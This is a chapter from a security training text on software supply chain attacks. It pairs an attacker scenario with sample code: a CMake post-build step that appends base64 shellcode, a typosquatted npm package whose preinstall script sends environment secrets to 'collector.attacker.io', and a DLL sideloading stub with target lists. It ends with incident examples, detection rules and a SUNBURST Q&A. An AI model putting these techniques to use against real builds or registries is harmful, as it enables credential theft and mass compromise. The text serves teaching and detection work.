Chapter 175

Supply Chain Attacks

Supply chain attacks compromise software before it reaches the victim — at the build pipeline, the package registry, or the vendor update mechanism. The core property that makes them powerful: the malicious payload arrives from a trusted source with a valid signature. Detection cannot rely on reputation alone; it requires behavioral monitoring of code that executes with implicit trust.

Scenario

You need to compromise 50+ enterprise customers of a software vendor without breaking into any of them individually. The vendor uses a GitHub Actions CI/CD pipeline to build and sign their product installer. Compromise the CI environment (or inject malicious code upstream at a dependency), and the signed installer delivers your implant to every customer who applies the next update — with no initial access work on individual targets.

Supply Chain Attack Taxonomy

Supply chain insertion points: Upstream code Build system Distribution Target ───────────── ──────────── ──────────── ────── ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ ┌──────────────┐ │ OSS repo │──►│ CI/CD (GitHub │──►│ CDN / update│───►│ End customer │ │ (dependency)│ │ Actions, Jenkins)│ │ server │ │ machines │ └─────────────┘ └──────────────────┘ └─────────────┘ └──────────────┘ ▲ ▲ ▲ │ │ │ Insertion points: Insertion points: Insertion points: • Typosquatting • CI env compromise • CDN compromise • Dependency • Malicious PR • Update server confusion • Build script compromise • Maintainer modification • Signature key compromise • Runner compromise theft Real attacks per category: OSS: event-stream (2018), ua-parser-js (2021), node-ipc (2022) Build: SolarWinds (2020) — Orion build server; 3CX (2023) — build pipeline Distribution: ASUS Live Update (2018) — CDN/update server

Build System Poisoning

// Technique: modify the build script to inject shellcode into compiled output.
// Target: Makefile, CMakeLists.txt, build.gradle, package.json scripts, etc.
// The injected code runs during the build, not during the attack setup.
// Example: post-build step that patches a compiled PE to add an implant.

// Malicious CMake custom command injected into legitimate build:
add_custom_command(
    TARGET ${PROJECT_NAME} POST_BUILD
    COMMAND powershell.exe -NoProfile -ExecutionPolicy Bypass -Command
    "$b=[System.IO.File]::ReadAllBytes('$(TARGET_FILE)'); \
     $s=[Convert]::FromBase64String('SHELLCODE_B64_HERE'); \
     # Append shellcode to overlay section of PE \
     [System.IO.File]::WriteAllBytes('$(TARGET_FILE)', $b + $s)"
    COMMENT "Post-build optimization"
)

// More realistic: modify build script to download a 'legitimate-looking' utility
// that patches binaries during packaging:
// package.json "postbuild" hook:
{
  "scripts": {
    "build": "webpack --config webpack.prod.js",
    "postbuild": "node scripts/optimize-bundle.js"
  }
}
// optimize-bundle.js fetches a remote "optimizer" and runs it on the output —
// the actual payload executes in the CI runner with full access to the repo,
// secrets, and artifact signing keys.

npm Typosquatting and Dependency Confusion

// Typosquatting: register a package name similar to a popular one.
// Confusion: register a PUBLIC package with the same name as an internal package.
//   When npm resolves packages, public registry takes precedence over private
//   if the version number is higher — regardless of where the package is hosted.
// CVE reference: Alex Birsan's 2021 research — "Dependency Confusion" attack.

// Malicious package.json (minimal) for npm typosquatting:
{
  "name": "lodahs",        // typo of "lodash"
  "version": "1.0.0",
  "description": "Utility library",
  "main": "index.js",
  "scripts": {
    "preinstall": "node preinstall.js"
  }
}

// preinstall.js — runs automatically on npm install:
const os = require('os');
const { execSync } = require('child_process');
const http = require('https');
// Collect environment and exfil
const data = JSON.stringify({
  host: os.hostname(),
  user: os.userInfo().username,
  cwd: process.cwd(),
  env: process.env,  // contains CI secrets: AWS_ACCESS_KEY, GITHUB_TOKEN, etc.
  platform: os.platform()
});
// Send to attacker's server
const req = http.request({
  host: 'collector.attacker.io', path: '/c', method: 'POST',
  headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(data)}
});
req.write(data); req.end();

// Dependency confusion: if internal package "corp-utils@1.2.0" exists in private registry,
// publish "corp-utils@9.9.9" to public npm — npm will pull the higher version.
// Defense: use scope (@corp/corp-utils), pin exact versions, use lockfiles.

DLL Sideloading

// DLL sideloading: place a malicious DLL in a directory that a legitimate
// signed executable searches before system paths.
// Windows DLL search order: application dir → System32 → System → Windows → PATH.
// Technique: find a signed EXE that loads a DLL by relative name (no full path),
//            drop your malicious DLL with that name next to the EXE.

// Example: Microsoft Teams (older versions) loaded dbghelp.dll from its app dir.
// Drop malicious dbghelp.dll next to Teams.exe → executed under Teams' identity.
// Malicious DLL (proxy DLL structure — forwards all exports to real DLL):

// Build: cl /LD sideload.c /Fe:dbghelp.dll
#include <windows.h>

BOOL WINAPI DllMain(HMODULE hMod, DWORD reason, LPVOID _) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hMod);
        // Spawn implant in new thread — don't block DllMain
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RunImplant,
                      NULL, 0, NULL);
    }
    return TRUE;
}

// To forward legitimate exports (proxy DLL), add linker pragmas:
// #pragma comment(linker, "/export:MiniDumpWriteDump=C:\\Windows\\System32\\dbghelp.MiniDumpWriteDump,@13")
// This prevents the host app from crashing when it tries to use the DLL's real exports.

// Common sideload targets (pre-patch):
// - OneDrive.exe loads vcruntime140.dll from AppData\Local\Microsoft\OneDrive\
// - Notepad++ loads mimeTools.dll from install directory
// - 7-Zip loads 7-zip.dll from current directory
// - VMware tools load various DLLs relative to install path

Real-World Supply Chain Examples

AttackYearInsertion pointDetection indicator
SolarWinds SUNBURST2020Orion build server; injected into SolarWinds.Orion.Core.BusinessLayer.dllDGA beacon pattern; TEMP.Variants.SUNBURST Yara rule; delayed activation logic
3CX Desktop App2023Build pipeline; ffmpeg.dll replaced in electron app bundleSigned PE with anomalous import table; unexpected child process from 3CXDesktopApp.exe
ASUS ShadowHammer2018ASUS update server; malicious update signed with legitimate certMAC address allowlist in payload; small set of targeted machines
ua-parser-js2021npm package compromise via stolen maintainer credentialspostinstall script curl/wget/powershell; XMRig miner binary
PyPI malicious packagesongoingTyposquatting (colourama vs colorama)setup.py with obfuscated subprocess calls; requests to unknown IPs at install
XZ Utils backdoor2024Malicious maintainer; build script injected IFUNC hook into sshd auth pathAnomalous IFUNC resolver; unexpected symbol in liblzma; build script entropy

Detection Engineering

title: DLL Sideloading — DLL Loaded from Writable User Directory
logsource:
  product: windows
  category: image_load
detection:
  selection:
    EventID: 7
    ImageLoaded|contains:
      - '\AppData\Local\'
      - '\AppData\Roaming\'
      - '\Users\Public\'
  not_signed:
    Signed: 'false'
  condition: selection AND not_signed
level: high
tags: [attack.defense_evasion, T1574.002]

title: npm/pip/gem Package Install Running System Commands
logsource:
  product: windows
  category: process_creation
detection:
  parent_npm:
    ParentImage|endswith:
      - '\node.exe'
      - '\python.exe'
      - '\pip.exe'
  child_suspicious:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\curl.exe'
      - '\certutil.exe'
  condition: parent_npm AND child_suspicious
level: high
tags: [attack.initial_access, T1195.001]

-- MDE KQL: signed binary with anomalous child process (sideloaded DLL)
DeviceProcessEvents
| where InitiatingProcessSignerType == "Microsoft"
    or InitiatingProcessSignatureStatus == "Valid"
| where FileName in~ ("powershell.exe", "cmd.exe", "mshta.exe",
                       "wscript.exe", "cscript.exe")
| where InitiatingProcessFolderPath has_any ("\\AppData\\", "\\Temp\\")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessFolderPath, FileName, ProcessCommandLine

Q&A

SolarWinds SUNBURST used a delayed activation trigger — it waited 12-14 days after install before beaconing. Why did this technique defeat most detection systems at the time, and what detection controls would catch it today?

SUNBURST's delayed activation was effective for several compounding reasons. First, most EDR and SIEM alerting systems are built around correlation windows — they look for suspicious activity within minutes to hours. A 12-14 day delay ensured the malicious DLL was installed, the machine rebooted multiple times, and the software appeared stable. No anomalous behavior was associated with the initial DLL installation event. Second, during the delay period, SUNBURST ran legitimately as part of the Orion polling service, making no suspicious API calls. It also checked whether it was running in a sandbox by looking for active domain-joined state, waiting for genuine Active Directory environment indicators — behaviors that differ from test environments. Third, the DGA-generated C2 domains were queried via DNS (not direct TCP connections), and the subdomains followed a pattern that looked plausible without a purpose-built signature to detect that specific DGA family.

What would catch SUNBURST today: (1) Code integrity — hash-pinning of vendor DLLs at deployment and alerting on any deviation, independent of signing. SUNBURST was signed with SolarWinds' legitimate certificate, but the hash of the trojanized DLL differed from any prior release. If organizations had captured the baseline hash of each Orion release at first install and compared against it on update, the swap would have been immediately visible. (2) EDR process behavior baselines — modern EDR products maintain long-term behavioral baselines per process type. The Orion polling service making outbound DNS queries to previously-never-seen domains 14 days after install and then gradually increasing network activity would stand out against its own historical baseline. (3) DNS analytics with ML-based DGA detection — the SUNBURST DGA produced subdomains with specific statistical properties that DGA detection models trained on that era's threats can now identify. (4) Zero-trust network controls at the host level — if the Orion service was not expected to initiate outbound HTTPS connections to external IPs (its normal behavior was internal polling), a host-based firewall rule blocking that would have prevented the C2 callback entirely, regardless of how long the malware waited.